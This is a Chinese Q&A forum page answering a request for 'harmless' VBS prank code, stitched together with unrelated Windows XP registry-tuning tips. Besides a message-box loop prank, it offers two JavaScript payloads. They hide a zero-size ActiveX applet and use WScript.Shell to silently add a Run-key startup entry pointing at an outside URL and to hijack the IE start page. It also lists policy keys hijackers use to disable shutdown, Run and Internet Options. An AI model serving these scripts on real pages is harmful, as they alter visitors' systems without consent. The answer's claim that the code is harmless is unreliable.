求vbs整人代码，要对系统无hai的(比如篡改 注册表)

求vbs整人代码，要对系统无hai的(比如篡 改 注册表)

dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop

'------------------------

'横线以上的代码复制到文本文档中，另存为 *.vbs即可。对系统无害。

'以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改。

让电脑自动启动程序的代码 。 修改方法 找到相应键值 http://www.webjx.com/删除

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){

try

{

文件://ActiveX/ initialization

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf("Chg") == -1)

{

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", " http://i50.yjpc.com/");

var expdate = new Date((new Date()).getTime() + (1));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();</SCRIPT>

　　8、自动设成主页代码

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){

try

{

//ActiveX initialization

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf("Chg") == -1)

{

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", " http://i50.126.com/");

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", " http://i50.126.com/");

var expdate = new Date((new Date()).getTime() + (1));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();</SCRIPT>

整人的没有优化系统的到有点运行： regedit

在Windows2k/XP中，以下进程是必须加载的：

smss.exe、csrss.exe、winlogon.exe、services.exe、lsass.exe、svchost.exe(可以同时存在多个)、spoolsv.exe、explorer.exe、System Idle Process；

只要你安照以下十个方面优化，相信你的XP又会重新高速运行。不信你试试! 1、加快开关机速度

在Windows XP中关机时，系统会发送消息到运行程序和远程服务器，告诉它们系统要关闭，并等待接到回应后系统才开始关机。加快开机速度，可以先设置自动结束任务，首先找到HKEY_CURRENT_USER/Control Panel/Desktop，把AutoEndTasks的键值设置为1；然后在该分支下有个“HungAppTimeout”，把它的值改为“4000(或更少)，默认为50000；最后再找到HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control，同样把WaitToKillServiceTimeout设置为“4000”；通过这样设置关机速度明显快了不少。

2、优化硬件 如果你家里没有多余的USB设备，请在“设备管理器---通用串行总线控制器”中将所有的USB设备禁用。此法可以让你的XP开机时间减少约十五秒。 同样，如果你家只有一块硬盘或光驱，可以在“设备管理器---IDE ATA/ATAPI控制器”中把“主/次要IDE通道---高级设置”中的“设备1---设备类型”设置为无。

3、优化视觉效果 大家知道，在Windows XP在菜单效果方面比起win9x等兄弟可以说是非常漂亮了，不过对于小内存用户来说，太华丽了，太占内存了，(偶的256MB内存也只能是基本满足需要~~~~~)那么该怎么样修改呢？请跟我来：

　　(1).请右击“我的电脑”选择“属性”，在分类视图中选择“高级”---“性能”，此时将弹出“性能选项”窗口，在这里选择“调整为最佳性能”可以将菜单的所有动画效果去掉。应该感到速度有明显提高，如果还觉得不够快，请往下看。

　　(2).打开注册表编辑器，找到HKEY_CURRENT_USER\Control Panel\Desktop分支，在右边窗口双击键值名MenuShowDelay的项，这一项的取值范围是0～100000（单位为毫秒），接下来将默认的值改为0即可。

4、优化网上邻居

Windows XP网上邻居在使用时系统会搜索自己的共享目录和可作为网络共享的打印机以及计划任务中和网络相关的计划任务，然后才显示出来，这样速度显然会慢的很多。这些功能对我们没多大用的话,可以将其删除。在注册表编辑器中找到HKEY_LOCAL_MACHINE/sofeware/Microsoft/Windows/CurrentVersion/Exploer/RemoteComputer/NameSpace，删除其下的(打印机)和{D6277990-4C6A-11CF8D87- 00AA0060F5BF}(计划任务)，重新启动电脑，再次访问网上邻居，你会发现快了很多。

5、加快启动速度

要加快Windows XP的启动速度。可以通过修改注册表来达到目的,在注册表编辑器，找到HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management/PrefetchParameters，在右边找到EnablePrefetcher主键，把它的默认值3改为1，这样滚动条滚动的时间就会减少；

6、自动关闭停止响应程序

有些时候，XP会提示你某某程序停止响应，很烦，通过修改注册表我们可以让其自行关闭，在HKEY_CURRENT_USER/Control Panel/Desktop中将字符健值是AutoEndTasks的数值数据更改为1，重新注销或启动即可。

7、加快菜单显示速度

为了加快菜单的显示速度，我们可以按照以下方法进行设置：我们可以在HKEY_CURRENT_USER/Control Panel/Desktop下找到“MenuShowDelay”主键，把它的值改为“0”就可以达到加快菜单显示速度的效果。

8、清除内存中不被使用的DLL文件

在注册表的HKKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion，在Explorer增加一个项AlwaysUnloadDLL，默认值设为1。注：如由默认值设定为0则代表停用此功能。

9、加快预读能力改善开机速度

Windows XP预读设定可提高系统速度，加快开机速度。按照下面的方法进行修改可进一步善用CPU的效率：HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management/PrefetchParameters右边窗口，将EnablePrefetcher的数值数据如下更改，如使用PIII 800MHz CPU以上的建议将数值数据更改为4或5，否则建议保留数值数据为默认值即3。

10、减少启动时加载项目

许多应用程序在安装时都会自作主张添加至系统启动组，每次启动系统都会自动运行，这不仅延长了启动时间，而且启动完成后系统资源已经被消耗掉！

启动“系统配置实用程序”，在“启动”项中列出了系统启动时加载的项目及来源，仔细查看你是否需要它自动加载，否则清除项目前的复选框，加载的项目愈少，启动的速度自然愈快。此项需要重新启动方能生效。

11.打开 注册表 到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下，删除不必要的开机启动项。例如：kugoo、3721、qq、dudu加速、realone、msn 等(最重要的一条）

1）IE起始页的修改 　　HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main 右半部分窗口中的Start Page 就是IE主页地址了 　　（2）Internet选项按钮灰化&失效 　　HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel 下的DWORD值 “Setting”=dword:1 “Links”=dword:1 “SecAddSites”dword:1 全部改为0之后 再将HKEY_USERS\DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel 下的DWORD值“homepage”键值改为0 则无法使用“Internet选项”修改IE设置 　　（3）“源文件”项不可用 　　HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions 的“NoViewSource”被设置为1了，改为0就可恢复正常 　　（4）“运行”按钮被取消&失效 　　HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer 的“NoRun”键值被改为1了，改为0就可恢复 　　（5）“关机”按钮被取消&失效 　　HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer 的“NoClose”键值被改为1了，改为0就可恢复 　　（6）“注销”按钮被取消&失效 　　HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer 的“NoLogOff”键值被改为1了，改为0就可恢复 　　（7）磁盘驱动器被隐藏 　　HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer 的“NoDrives”键值被改为1了，改为0就可恢复

www.xyx592.com

如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！

点此我要举报以上问答信息